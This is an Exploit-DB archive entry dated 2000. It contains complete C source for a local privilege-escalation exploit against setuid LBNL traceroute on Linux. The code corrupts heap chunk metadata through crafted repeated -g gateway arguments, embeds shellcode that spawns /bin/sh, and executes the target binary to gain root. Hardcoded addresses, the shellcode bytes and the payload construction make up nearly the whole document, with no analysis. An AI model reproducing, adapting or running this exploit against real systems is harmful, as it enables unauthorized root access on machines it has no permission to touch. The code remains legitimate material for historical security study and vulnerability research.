Exploit-DB #178
Description: LBL Traceroute - Local Privilege Escalation
Type: local
Platform: linux
Date: 2000-11-15
Author: Michel Kaempf

Exploit:
/*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * openwall.c - Local root exploit in LBNL traceroute
 * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/traceroot/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char *		filename = "/usr/sbin/traceroute";
unsigned int	stack = 0xc0000000 - 4;
unsigned int	p = 0x0804ce38;
unsigned int	victim = 0x0804c88c;

char * jmp = "\xeb\x0aXXYYYYZZZZ";

char * shellcode =
	/* <shellcode>:		xor	%edx,%edx	*/
	"\x31\xd2"
	/* <shellcode+2>:	mov	%edx,%eax	*/
	"\x89\xd0"
	/* <shellcode+4>:	mov	$0xb,%al	*/
	"\xb0\x0b"
	/* <shellcode+6>:	mov	$XXXX,%ebx	*/
	"\xbbXXXX"
	/* <shellcode+11>:	mov	$XXXX,%ecx	*/
	"\xb9XXXX"
	/* <shellcode+16>:	mov	%ebx,(%ecx)	*/
	"\x89\x19"
	/* <shellcode+18>:	mov	%edx,0x4(%ecx)	*/
	"\x89\x51\x04"
	/* <shellcode+21>:	int	$0x80		*/
	"\xcd\x80";

char * program = "/bin/sh";

int zero( unsigned int ui )
{
	if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || !(ui & 0x000000ff) ) {
		return( -1 );
	}
	return( 0 );
}

int main()
{
	char		gateway[ 1337 ];
	char		host[ 1337 ];
	char *		argv[] = { filename, "-g", "123", "-g", gateway, host, NULL };
	unsigned int	next;
	int		i;
	unsigned int	hellcode;
	unsigned int	size;

	strcpy( host, "AAAABBBBCCCCDDDDEEEE" );
	next = stack - (strlen(filename) + 1) - (strlen(host) + 1) + strlen("AAAA");
	for ( i = 0; i < next - (next & ~3); i++ ) {
		strcat( host, "X" );
	}
	next = next & ~3;

	((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;
	((unsigned int *)host)[2] = 0xffffffff;
	if ( zero( victim - 12 ) ) {
		fprintf( stderr, "Null byte(s) in `victim - 12' (0x%08x)!\n", victim - 12 );
		return( -1 );
	}
	((unsigned int *)host)[3] = victim - 12;
	hellcode = p + (strlen("123") + 1) + strlen("0x42.0x42.0x42.0x42") + strlen(" ");
	if ( zero( hellcode ) ) {
		fprintf( stderr, "Null byte(s) in `host' (0x%08x)!\n", hellcode );
		return( -1 );
	}
	((unsigned int *)host)[4] = hellcode;

	size = next - (p - 4);
	size = size | PREV_INUSE;
	sprintf(
		gateway,
		"0x%02x.0x%02x.0x%02x.0x%02x",
		((unsigned char *)(&size))[0],
		((unsigned char *)(&size))[1],
		((unsigned char *)(&size))[2],
		((unsigned char *)(&size))[3]
	);

	strcat( gateway, " " );
	strcat( gateway, jmp );
	strcat( gateway, shellcode );
	strcat( gateway, program );

	hellcode += strlen(jmp) + strlen(shellcode);
	if ( zero( hellcode ) ) {
		fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellcode );
		return( -1 );
	}
	*((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" ") + strlen(jmp) + 7)) = hellcode;

	hellcode += strlen(program) + 1;
	if ( zero( hellcode ) ) {
		fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellcode );
		return( -1 );
	}
	*((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" ") + strlen(jmp) + 12)) = hellcode;

	execve( argv[0], argv, NULL );
	return( -1 );
}



// milw0rm.com [2000-11-15]